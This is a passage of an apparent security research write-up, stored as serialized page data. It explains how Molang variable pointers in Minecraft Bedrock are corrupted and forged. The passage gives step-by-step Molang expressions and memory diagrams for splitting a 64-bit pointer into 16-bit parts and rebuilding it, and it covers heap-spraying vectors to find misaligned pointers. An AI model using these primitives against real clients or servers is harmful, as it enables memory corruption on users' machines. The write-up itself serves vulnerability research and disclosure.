0;\"",{"type":24,"tag":158,"props":154980,"children":154981},{"style":188},[154982],{"type":29,"value":235},{"type":24,"tag":158,"props":154984,"children":154985},{"class":160,"line":785},[154986,154991],{"type":24,"tag":158,"props":154987,"children":154988},{"style":1108},[154989],{"type":29,"value":154990}," \"variable.b = 0;\"",{"type":24,"tag":158,"props":154992,"children":154993},{"style":188},[154994],{"type":29,"value":235},{"type":24,"tag":158,"props":154996,"children":154997},{"class":160,"line":1447},[154998,155003],{"type":24,"tag":158,"props":154999,"children":155000},{"style":1108},[155001],{"type":29,"value":155002}," \"variable.c = 0;\"",{"type":24,"tag":158,"props":155004,"children":155005},{"style":188},[155006],{"type":29,"value":235},{"type":24,"tag":158,"props":155008,"children":155009},{"class":160,"line":1509},[155010,155015,155019],{"type":24,"tag":158,"props":155011,"children":155012},{"style":188},[155013],{"type":29,"value":155014}," [",{"type":24,"tag":158,"props":155016,"children":155017},{"style":23651},[155018],{"type":29,"value":377},{"type":24,"tag":158,"props":155020,"children":155021},{"style":188},[155022],{"type":29,"value":2647},{"type":24,"tag":158,"props":155024,"children":155025},{"class":160,"line":1527},[155026],{"type":24,"tag":158,"props":155027,"children":155028},{"style":188},[155029],{"type":29,"value":44916},{"type":24,"tag":158,"props":155031,"children":155032},{"class":160,"line":1545},[155033,155038],{"type":24,"tag":158,"props":155034,"children":155035},{"style":177},[155036],{"type":29,"value":155037}," \"pre_animation\"",{"type":24,"tag":158,"props":155039,"children":155040},{"style":188},[155041],{"type":29,"value":154970},{"type":24,"tag":158,"props":155043,"children":155044},{"class":160,"line":1618},[155045],{"type":24,"tag":158,"props":155046,"children":155047},{"style":1108},[155048],{"type":29,"value":155049}," \"variable.a = 2.310732e-27;\"\n",{"type":24,"tag":158,"props":155051,"children":155052},{"class":160,"line":1635},[155053],{"type":24,"tag":158,"props":155054,"children":155055},{"style":188},[155056],{"type":29,"value":155057}," ]\n",{"type":24,"tag":158,"props":155059,"children":155060},{"class":160,"line":1644},[155061],{"type":24,"tag":158,"props":155062,"children":155063},{"style":188},[155064],{"type":29,"value":38463},{"type":24,"tag":158,"props":155066,"children":155067},{"class":160,"line":1652},[155068],{"type":24,"tag":158,"props":155069,"children":155070},{"style":188},[155071],{"type":29,"value":3967},{"type":24,"tag":158,"props":155073,"children":155074},{"class":160,"line":1704},[155075],{"type":24,"tag":158,"props":155076,"children":155077},{"style":188},[155078],{"type":29,"value":4366},{"type":24,"tag":158,"props":155080,"children":155081},{"class":160,"line":1713},[155082],{"type":24,"tag":158,"props":155083,"children":155084},{"style":188},[155085],{"type":29,"value":307},{"type":24,"tag":25,"props":155087,"children":155088},{},[155089,155091,155096,155098,155103,155105,155110],{"type":29,"value":155090},"As shown, the pointer of a variable at offset ",{"type":24,"tag":154,"props":155092,"children":155094},{"className":155093},[],[155095],{"type":29,"value":154140},{"type":29,"value":155097}," was modified and the core concept works. During ",{"type":24,"tag":154,"props":155099,"children":155101},{"className":155100},[],[155102],{"type":29,"value":154098},{"type":29,"value":155104}," copy, pointers of some other variables above offset ",{"type":24,"tag":154,"props":155106,"children":155108},{"className":155107},[],[155109],{"type":29,"value":154140},{"type":29,"value":155111}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":24,"tag":25,"props":155113,"children":155114},{},[155115],{"type":29,"value":155116},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":24,"tag":17924,"props":155118,"children":155119},{},[155120,155133],{"type":24,"tag":1790,"props":155121,"children":155122},{},[155123,155125,155131],{"type":29,"value":155124},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":24,"tag":154,"props":155126,"children":155128},{"className":155127},[],[155129],{"type":29,"value":155130},"FLT_MAX",{"type":29,"value":155132},", the value becomes an invalid float causing the increment operation to fail.",{"type":24,"tag":1790,"props":155134,"children":155135},{},[155136,155138,155143,155145,155150,155151,155156,155158,155163],{"type":29,"value":155137},"As noted before, during assignment, ",{"type":24,"tag":154,"props":155139,"children":155141},{"className":155140},[],[155142],{"type":29,"value":154098},{"type":29,"value":155144}," fields are copied, and the ",{"type":24,"tag":154,"props":155146,"children":155148},{"className":155147},[],[155149],{"type":29,"value":40416},{"type":29,"value":154188},{"type":24,"tag":154,"props":155152,"children":155154},{"className":155153},[],[155155],{"type":29,"value":56907},{"type":29,"value":155157},". Since our source ",{"type":24,"tag":154,"props":155159,"children":155161},{"className":155160},[],[155162],{"type":29,"value":154098},{"type":29,"value":155164}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":24,"tag":25,"props":155166,"children":155167},{},[155168],{"type":29,"value":155169},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":24,"tag":20134,"props":155171,"children":155173},{"id":155172},"expanding-the-idea",[155174],{"type":29,"value":155175},"Expanding the Idea",{"type":24,"tag":25,"props":155177,"children":155178},{},[155179,155181,155186,155188,155193,155194,155199,155201,155206],{"type":29,"value":155180},"As mentioned earlier, the ",{"type":24,"tag":154,"props":155182,"children":155184},{"className":155183},[],[155185],{"type":29,"value":34018},{"type":29,"value":155187}," field of ",{"type":24,"tag":154,"props":155189,"children":155191},{"className":155190},[],[155192],{"type":29,"value":154098},{"type":29,"value":16679},{"type":24,"tag":154,"props":155195,"children":155197},{"className":155196},[],[155198],{"type":29,"value":59206},{"type":29,"value":155200},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":24,"tag":154,"props":155202,"children":155204},{"className":155203},[],[155205],{"type":29,"value":40416},{"type":29,"value":155207}," field remain unchanged before and after Molang execution.",{"type":24,"tag":25,"props":155209,"children":155210},{},[155211,155213,155218],{"type":29,"value":155212},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":24,"tag":154,"props":155214,"children":155216},{"className":155215},[],[155217],{"type":29,"value":154206},{"type":29,"value":155219},"’s allocated buffer + 4.",{"type":24,"tag":25,"props":155221,"children":155222},{},[155223,155225,155230,155232,155237,155239,155244,155245,155251],{"type":29,"value":155224},"In the example below, ",{"type":24,"tag":154,"props":155226,"children":155228},{"className":155227},[],[155229],{"type":29,"value":154632},{"type":29,"value":155231}," points to ",{"type":24,"tag":154,"props":155233,"children":155235},{"className":155234},[],[155236],{"type":29,"value":154206},{"type":29,"value":155238},", while ",{"type":24,"tag":154,"props":155240,"children":155242},{"className":155241},[],[155243],{"type":29,"value":154646},{"type":29,"value":155231},{"type":24,"tag":154,"props":155246,"children":155248},{"className":155247},[],[155249],{"type":29,"value":155250},"MolangVariableMap + 4",{"type":29,"value":225},{"type":24,"tag":147,"props":155253,"children":155255},{"code":155254}," variable.f pointer \n | \n +-------------+-------------+\n v v\n \n +-------------+-------------+\n | a0 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[155256],{"type":24,"tag":154,"props":155257,"children":155258},{"__ignoreMap":7},[155259],{"type":29,"value":155254},{"type":24,"tag":25,"props":155261,"children":155262},{},[155263,155265,155270,155271,155276,155278,155283,155285,155290,155292,155297],{"type":29,"value":155264},"Here, the ",{"type":24,"tag":154,"props":155266,"children":155268},{"className":155267},[],[155269],{"type":29,"value":40416},{"type":29,"value":155187},{"type":24,"tag":154,"props":155272,"children":155274},{"className":155273},[],[155275],{"type":29,"value":154632},{"type":29,"value":155277}," starts at the lower 32 bits of the ",{"type":24,"tag":154,"props":155279,"children":155281},{"className":155280},[],[155282],{"type":29,"value":154702},{"type":29,"value":155284}," pointer, while ",{"type":24,"tag":154,"props":155286,"children":155288},{"className":155287},[],[155289],{"type":29,"value":154646},{"type":29,"value":155291}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":24,"tag":154,"props":155293,"children":155295},{"className":155294},[],[155296],{"type":29,"value":154702},{"type":29,"value":155298}," pointer in a separate variable:",{"type":24,"tag":147,"props":155300,"children":155302},{"code":155301},"variable.saved_upper_32 = variable.b;\n",[155303],{"type":24,"tag":154,"props":155304,"children":155305},{"__ignoreMap":7},[155306],{"type":29,"value":155301},{"type":24,"tag":25,"props":155308,"children":155309},{},[155310],{"type":29,"value":155311},"Then we can modify the lower 32 bits of the pointer:",{"type":24,"tag":147,"props":155313,"children":155315},{"code":155314},"variable.a = variable.a + itof(0x8);\n",[155316],{"type":24,"tag":154,"props":155317,"children":155318},{"__ignoreMap":7},[155319],{"type":29,"value":155314},{"type":24,"tag":25,"props":155321,"children":155322},{},[155323],{"type":29,"value":155324},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":24,"tag":147,"props":155326,"children":155328},{"code":155327}," +-------------+-------------+\n | a8 bb cc dd | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[155329],{"type":24,"tag":154,"props":155330,"children":155331},{"__ignoreMap":7},[155332],{"type":29,"value":155327},{"type":24,"tag":25,"props":155334,"children":155335},{},[155336,155338,155343],{"type":29,"value":155337},"Since the 32 bits directly below the ",{"type":24,"tag":154,"props":155339,"children":155341},{"className":155340},[],[155342],{"type":29,"value":40416},{"type":29,"value":155344}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":24,"tag":147,"props":155346,"children":155348},{"code":155347},"variable.b = variable.saved_upper_32;\n",[155349],{"type":24,"tag":154,"props":155350,"children":155351},{"__ignoreMap":7},[155352],{"type":29,"value":155347},{"type":24,"tag":25,"props":155354,"children":155355},{},[155356,155358,155363],{"type":29,"value":155357},"Now ",{"type":24,"tag":154,"props":155359,"children":155361},{"className":155360},[],[155362],{"type":29,"value":154702},{"type":29,"value":155364}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":24,"tag":147,"props":155366,"children":155368},{"code":155367}," +-------------+-------------+\n | a8 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-------------------+ \n+-------------+ \n| . . . | \n",[155369],{"type":24,"tag":154,"props":155370,"children":155371},{"__ignoreMap":7},[155372],{"type":29,"value":155367},{"type":24,"tag":25,"props":155374,"children":155375},{},[155376,155378,155383],{"type":29,"value":155377},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":24,"tag":154,"props":155379,"children":155381},{"className":155380},[],[155382],{"type":29,"value":155250},{"type":29,"value":155384}," on the heap?",{"type":24,"tag":25,"props":155386,"children":155387},{},[155388,155390,155395,155397,155403],{"type":29,"value":155389},"Additionally, adding 8 to ",{"type":24,"tag":154,"props":155391,"children":155393},{"className":155392},[],[155394],{"type":29,"value":154632},{"type":29,"value":155396}," in the example above wouldn’t work because ",{"type":24,"tag":154,"props":155398,"children":155400},{"className":155399},[],[155401],{"type":29,"value":155402},"0xddccbba0",{"type":29,"value":155404}," is not a valid float. So the first issue still remains unresolved.",{"type":24,"tag":20134,"props":155406,"children":155408},{"id":155407},"the-final-approach",[155409],{"type":29,"value":155410},"The Final Approach",{"type":24,"tag":25,"props":155412,"children":155413},{},[155414,155416,155421,155423,155429],{"type":29,"value":155415},"We realized that instead of having the second pointer at ",{"type":24,"tag":154,"props":155417,"children":155419},{"className":155418},[],[155420],{"type":29,"value":155250},{"type":29,"value":155422},", we could instead have it at ",{"type":24,"tag":154,"props":155424,"children":155426},{"className":155425},[],[155427],{"type":29,"value":155428},"MolangVariableMap + 2",{"type":29,"value":155430},", which would resolve both of our issues.",{"type":24,"tag":25,"props":155432,"children":155433},{},[155434,155436,155441,155442,155447],{"type":29,"value":155435},"Let’s revisit the previous example, but this time ",{"type":24,"tag":154,"props":155437,"children":155439},{"className":155438},[],[155440],{"type":29,"value":154646},{"type":29,"value":155231},{"type":24,"tag":154,"props":155443,"children":155445},{"className":155444},[],[155446],{"type":29,"value":155428},{"type":29,"value":225},{"type":24,"tag":147,"props":155449,"children":155451},{"code":155450}," +-------------+-------------+\n | a0 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[155452],{"type":24,"tag":154,"props":155453,"children":155454},{"__ignoreMap":7},[155455],{"type":29,"value":155450},{"type":24,"tag":25,"props":155457,"children":155458},{},[155459,155461,155466],{"type":29,"value":155460},"With this setup, we can calculate any address relative to ",{"type":24,"tag":154,"props":155462,"children":155464},{"className":155463},[],[155465],{"type":29,"value":154702},{"type":29,"value":155467}," by first saving the upper 48 bits of the address:",{"type":24,"tag":147,"props":155469,"children":155471},{"code":155470},"variable.saved_upper_48 = variable.b;\n",[155472],{"type":24,"tag":154,"props":155473,"children":155474},{"__ignoreMap":7},[155475],{"type":29,"value":155470},{"type":24,"tag":25,"props":155477,"children":155478},{},[155479,155480,155486,155488,155494],{"type":29,"value":131108},{"type":24,"tag":154,"props":155481,"children":155483},{"className":155482},[],[155484],{"type":29,"value":155485},"variable.saved_upper_48",{"type":29,"value":155487}," holds the value ",{"type":24,"tag":154,"props":155489,"children":155491},{"className":155490},[],[155492],{"type":29,"value":155493},"0x1c80ddcc",{"type":29,"value":347},{"type":24,"tag":25,"props":155496,"children":155497},{},[155498],{"type":29,"value":155499},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":24,"tag":147,"props":155501,"children":155503},{"code":155502},"variable.b = 0;\n",[155504],{"type":24,"tag":154,"props":155505,"children":155506},{"__ignoreMap":7},[155507],{"type":29,"value":155502},{"type":24,"tag":25,"props":155509,"children":155510},{},[155511],{"type":29,"value":155512},"Resulting in the following state:",{"type":24,"tag":147,"props":155514,"children":155516},{"code":155515}," +-------------+-------------+\n | a0 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[155517],{"type":24,"tag":154,"props":155518,"children":155519},{"__ignoreMap":7},[155520],{"type":29,"value":155515},{"type":24,"tag":25,"props":155522,"children":155523},{},[155524,155526,155531,155533,155539,155541,155546],{"type":29,"value":155525},"Now, the value of ",{"type":24,"tag":154,"props":155527,"children":155529},{"className":155528},[],[155530],{"type":29,"value":154632},{"type":29,"value":155532}," only spans 16 bits (",{"type":24,"tag":154,"props":155534,"children":155536},{"className":155535},[],[155537],{"type":29,"value":155538},"0xbba0",{"type":29,"value":155540}," specifically), which is always a valid float since it’s far below ",{"type":24,"tag":154,"props":155542,"children":155544},{"className":155543},[],[155545],{"type":29,"value":155130},{"type":29,"value":347},{"type":24,"tag":25,"props":155548,"children":155549},{},[155550,155552,155557],{"type":29,"value":155551},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":24,"tag":154,"props":155553,"children":155555},{"className":155554},[],[155556],{"type":29,"value":154632},{"type":29,"value":225},{"type":24,"tag":147,"props":155559,"children":155560},{"code":155314},[155561],{"type":24,"tag":154,"props":155562,"children":155563},{"__ignoreMap":7},[155564],{"type":29,"value":155314},{"type":24,"tag":25,"props":155566,"children":155567},{},[155568],{"type":29,"value":155569},"Which results in:",{"type":24,"tag":147,"props":155571,"children":155573},{"code":155572}," +-------------+-------------+\n | a8 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[155574],{"type":24,"tag":154,"props":155575,"children":155576},{"__ignoreMap":7},[155577],{"type":29,"value":155572},{"type":24,"tag":25,"props":155579,"children":155580},{},[155581],{"type":29,"value":155582},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":24,"tag":147,"props":155584,"children":155586},{"code":155585},"variable.b = variable.saved_upper_48;\n",[155587],{"type":24,"tag":154,"props":155588,"children":155589},{"__ignoreMap":7},[155590],{"type":29,"value":155585},{"type":24,"tag":25,"props":155592,"children":155593},{},[155594],{"type":29,"value":155595},"Yielding a valid pointer again:",{"type":24,"tag":147,"props":155597,"children":155599},{"code":155598}," +-------------+-------------+\n | a8 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[155600],{"type":24,"tag":154,"props":155601,"children":155602},{"__ignoreMap":7},[155603],{"type":29,"value":155598},{"type":24,"tag":25,"props":155605,"children":155606},{},[155607],{"type":29,"value":155608},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":24,"tag":147,"props":155610,"children":155612},{"code":155611},"variable.saved_adjusted_lower_16 = variable.a;\n",[155613],{"type":24,"tag":154,"props":155614,"children":155615},{"__ignoreMap":7},[155616],{"type":29,"value":155611},{"type":24,"tag":25,"props":155618,"children":155619},{},[155620],{"type":29,"value":155621},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":24,"tag":147,"props":155623,"children":155625},{"code":155624},"variable.a = variable.saved_upper_48;\n",[155626],{"type":24,"tag":154,"props":155627,"children":155628},{"__ignoreMap":7},[155629],{"type":29,"value":155624},{"type":24,"tag":25,"props":155631,"children":155632},{},[155633],{"type":29,"value":155634},"This produces the following state:",{"type":24,"tag":147,"props":155636,"children":155638},{"code":155637}," +-------------+-------------+\n | cc dd 80 1c | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[155639],{"type":24,"tag":154,"props":155640,"children":155641},{"__ignoreMap":7},[155642],{"type":29,"value":155637},{"type":24,"tag":25,"props":155644,"children":155645},{},[155646,155648,155653,155655,155661,155663,155669,155671,155676,155678,155683],{"type":29,"value":155647},"As shown, ",{"type":24,"tag":154,"props":155649,"children":155651},{"className":155650},[],[155652],{"type":29,"value":154646},{"type":29,"value":155654}," now contains the upper 16 bits of the address (",{"type":24,"tag":154,"props":155656,"children":155658},{"className":155657},[],[155659],{"type":29,"value":155660},"0x1c80",{"type":29,"value":155662},"), which we can store as ",{"type":24,"tag":154,"props":155664,"children":155666},{"className":155665},[],[155667],{"type":29,"value":155668},"variable.saved_upper_16 = variable.b",{"type":29,"value":155670},". Meanwhile, ",{"type":24,"tag":154,"props":155672,"children":155674},{"className":155673},[],[155675],{"type":29,"value":154632},{"type":29,"value":155677}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":24,"tag":154,"props":155679,"children":155681},{"className":155680},[],[155682],{"type":29,"value":154646},{"type":29,"value":225},{"type":24,"tag":147,"props":155685,"children":155686},{"code":155502},[155687],{"type":24,"tag":154,"props":155688,"children":155689},{"__ignoreMap":7},[155690],{"type":29,"value":155502},{"type":24,"tag":25,"props":155692,"children":155693},{},[155694],{"type":29,"value":155695},"Leaving us with:",{"type":24,"tag":147,"props":155697,"children":155699},{"code":155698}," +-------------+-------------+\n | cc dd 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[155700],{"type":24,"tag":154,"props":155701,"children":155702},{"__ignoreMap":7},[155703],{"type":29,"value":155698},{"type":24,"tag":25,"props":155705,"children":155706},{},[155707],{"type":29,"value":155708},"We can now save the middle 16 bits:",{"type":24,"tag":147,"props":155710,"children":155712},{"code":155711},"variable.saved_middle_16 = variable.a;\n",[155713],{"type":24,"tag":154,"props":155714,"children":155715},{"__ignoreMap":7},[155716],{"type":29,"value":155711},{"type":24,"tag":25,"props":155718,"children":155719},{},[155720],{"type":29,"value":155721},"At this point, we have:",{"type":24,"tag":147,"props":155723,"children":155725},{"code":155724},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[155726],{"type":24,"tag":154,"props":155727,"children":155728},{"__ignoreMap":7},[155729],{"type":29,"value":155724},{"type":24,"tag":25,"props":155731,"children":155732},{},[155733],{"type":29,"value":155734},"All three parts are valid float values, ensuring deterministic calculations.",{"type":24,"tag":25,"props":155736,"children":155737},{},[155738],{"type":29,"value":155739},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":24,"tag":147,"props":155741,"children":155743},{"code":155742},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[155744],{"type":24,"tag":154,"props":155745,"children":155746},{"__ignoreMap":7},[155747],{"type":29,"value":155742},{"type":24,"tag":25,"props":155749,"children":155750},{},[155751],{"type":29,"value":155752},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":24,"tag":147,"props":155754,"children":155756},{"code":155755},"variable.a = variable.saved_adjusted_middle_16;\n",[155757],{"type":24,"tag":154,"props":155758,"children":155759},{"__ignoreMap":7},[155760],{"type":29,"value":155755},{"type":24,"tag":25,"props":155762,"children":155763},{},[155764,155766,155771,155772,155778,155779,155785],{"type":29,"value":155765},"Setting ",{"type":24,"tag":154,"props":155767,"children":155769},{"className":155768},[],[155770],{"type":29,"value":154632},{"type":29,"value":58049},{"type":24,"tag":154,"props":155773,"children":155775},{"className":155774},[],[155776],{"type":29,"value":155777},"0xddcd",{"type":29,"value":2262},{"type":24,"tag":154,"props":155780,"children":155782},{"className":155781},[],[155783],{"type":29,"value":155784},"0xddcc + 1",{"type":29,"value":155786},"), and then:",{"type":24,"tag":147,"props":155788,"children":155790},{"code":155789},"variable.b = variable.saved_adjusted_upper_16;\n",[155791],{"type":24,"tag":154,"props":155792,"children":155793},{"__ignoreMap":7},[155794],{"type":29,"value":155789},{"type":24,"tag":25,"props":155796,"children":155797},{},[155798,155800,155805,155807,155813,155814,155820],{"type":29,"value":155799},"Resulting in ",{"type":24,"tag":154,"props":155801,"children":155803},{"className":155802},[],[155804],{"type":29,"value":154646},{"type":29,"value":155806}," value becoming ",{"type":24,"tag":154,"props":155808,"children":155810},{"className":155809},[],[155811],{"type":29,"value":155812},"0x1c81",{"type":29,"value":2262},{"type":24,"tag":154,"props":155815,"children":155817},{"className":155816},[],[155818],{"type":29,"value":155819},"0x1c80 + 1",{"type":29,"value":25202},{"type":24,"tag":147,"props":155822,"children":155824},{"code":155823}," +-------------+-------------+\n | cd dd 81 1c | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[155825],{"type":24,"tag":154,"props":155826,"children":155827},{"__ignoreMap":7},[155828],{"type":29,"value":155823},{"type":24,"tag":25,"props":155830,"children":155831},{},[155832],{"type":29,"value":155833},"Now we save the adjusted upper 48 bits:",{"type":24,"tag":147,"props":155835,"children":155837},{"code":155836},"variable.saved_adjusted_upper_48 = variable.a;\n",[155838],{"type":24,"tag":154,"props":155839,"children":155840},{"__ignoreMap":7},[155841],{"type":29,"value":155836},{"type":24,"tag":25,"props":155843,"children":155844},{},[155845],{"type":29,"value":155846},"Finally, we attach the lower 16 bits:",{"type":24,"tag":147,"props":155848,"children":155850},{"code":155849},"variable.a = variable.saved_adjusted_lower_16;\n",[155851],{"type":24,"tag":154,"props":155852,"children":155853},{"__ignoreMap":7},[155854],{"type":29,"value":155849},{"type":24,"tag":147,"props":155856,"children":155858},{"code":155857}," +-------------+-------------+\n | a8 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[155859],{"type":24,"tag":154,"props":155860,"children":155861},{"__ignoreMap":7},[155862],{"type":29,"value":155857},{"type":24,"tag":25,"props":155864,"children":155865},{},[155866],{"type":29,"value":155867},"And by setting:",{"type":24,"tag":147,"props":155869,"children":155871},{"code":155870},"variable.b = variable.saved_adjusted_upper_48;\n",[155872],{"type":24,"tag":154,"props":155873,"children":155874},{"__ignoreMap":7},[155875],{"type":29,"value":155870},{"type":24,"tag":25,"props":155877,"children":155878},{},[155879],{"type":29,"value":155880},"We forge the final adjusted pointer:",{"type":24,"tag":147,"props":155882,"children":155884},{"code":155883}," +-------------+-------------+\n | a8 bb cd dd | 81 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[155885],{"type":24,"tag":154,"props":155886,"children":155887},{"__ignoreMap":7},[155888],{"type":29,"value":155883},{"type":24,"tag":20034,"props":155890,"children":155891},{},[],{"type":24,"tag":25,"props":155893,"children":155894},{},[155895,155897,155902],{"type":29,"value":155896},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":24,"tag":154,"props":155898,"children":155900},{"className":155899},[],[155901],{"type":29,"value":155428},{"type":29,"value":155384},{"type":24,"tag":25,"props":155904,"children":155905},{},[155906,155908,155913,155915,155920,155922,155928,155930,155935],{"type":29,"value":155907},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":24,"tag":154,"props":155909,"children":155911},{"className":155910},[],[155912],{"type":29,"value":155428},{"type":29,"value":155914},". Instead, we need any two pointers on the heap - one pointing to ",{"type":24,"tag":154,"props":155916,"children":155918},{"className":155917},[],[155919],{"type":29,"value":31947},{"type":29,"value":155921}," and the other to ",{"type":24,"tag":154,"props":155923,"children":155925},{"className":155924},[],[155926],{"type":29,"value":155927},"addr + 2",{"type":29,"value":155929}," (as long as ",{"type":24,"tag":154,"props":155931,"children":155933},{"className":155932},[],[155934],{"type":29,"value":31947},{"type":29,"value":155936}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":24,"tag":25,"props":155938,"children":155939},{},[155940,155942,155947,155948,155953],{"type":29,"value":155941},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":24,"tag":154,"props":155943,"children":155945},{"className":155944},[],[155946],{"type":29,"value":151402},{"type":29,"value":155187},{"type":24,"tag":154,"props":155949,"children":155951},{"className":155950},[],[155952],{"type":29,"value":154206},{"type":29,"value":155954}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":24,"tag":147,"props":155956,"children":155958},{"code":155957},"variable.corrupted_var_map_ptr = variable.a;\n",[155959],{"type":24,"tag":154,"props":155960,"children":155961},{"__ignoreMap":7},[155962],{"type":29,"value":155957},{"type":24,"tag":25,"props":155964,"children":155965},{},[155966,155968,155973,155975,155981],{"type":29,"value":155967},"As mentioned earlier, this operation copies the entire 64-bit ",{"type":24,"tag":154,"props":155969,"children":155971},{"className":155970},[],[155972],{"type":29,"value":40416},{"type":29,"value":155974}," field (in this case, the reconstructed pointer) and writes it to ",{"type":24,"tag":154,"props":155976,"children":155978},{"className":155977},[],[155979],{"type":29,"value":155980},"variable.corrupted_var_map_ptr",{"type":29,"value":155982},", even though the type itself is only a 32-bit float.",{"type":24,"tag":20134,"props":155984,"children":155986},{"id":155985},"finding-misaligned-pointers",[155987],{"type":29,"value":155988},"Finding Misaligned Pointers",{"type":24,"tag":25,"props":155990,"children":155991},{},[155992,155994,155999,156000,156006],{"type":29,"value":155993},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":24,"tag":154,"props":155995,"children":155997},{"className":155996},[],[155998],{"type":29,"value":15183},{"type":29,"value":1826},{"type":24,"tag":154,"props":156001,"children":156003},{"className":156002},[],[156004],{"type":29,"value":156005},"ptr + 2",{"type":29,"value":156007},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":24,"tag":25,"props":156009,"children":156010},{},[156011,156016,156017,156022,156024,156029,156031,156036,156038,156043,156045,156050,156052,156058,156059,156064],{"type":24,"tag":154,"props":156012,"children":156014},{"className":156013},[],[156015],{"type":29,"value":154382},{"type":29,"value":16679},{"type":24,"tag":154,"props":156018,"children":156020},{"className":156019},[],[156021],{"type":29,"value":154405},{"type":29,"value":156023}," found inside every entity object. As noted earlier, a ",{"type":24,"tag":154,"props":156025,"children":156027},{"className":156026},[],[156028],{"type":29,"value":154236},{"type":29,"value":156030}," contains three pointers: ",{"type":24,"tag":154,"props":156032,"children":156034},{"className":156033},[],[156035],{"type":29,"value":151402},{"type":29,"value":156037}," (the start of the allocated buffer), ",{"type":24,"tag":154,"props":156039,"children":156041},{"className":156040},[],[156042],{"type":29,"value":10726},{"type":29,"value":156044}," (just past the last element) and ",{"type":24,"tag":154,"props":156046,"children":156048},{"className":156047},[],[156049],{"type":29,"value":154335},{"type":29,"value":156051}," (the end of the allocated buffer). Because the element type is ",{"type":24,"tag":154,"props":156053,"children":156055},{"className":156054},[],[156056],{"type":29,"value":156057},"uint16_t",{"type":29,"value":103575},{"type":24,"tag":154,"props":156060,"children":156062},{"className":156061},[],[156063],{"type":29,"value":10726},{"type":29,"value":156065}," pointer advances by 2 bytes each time a new element is added.",{"type":24,"tag":25,"props":156067,"children":156068},{},[156069,156071,156076,156078,156084],{"type":29,"value":156070},"We can make the ",{"type":24,"tag":154,"props":156072,"children":156074},{"className":156073},[],[156075],{"type":29,"value":10726},{"type":29,"value":156077}," pointer equal to 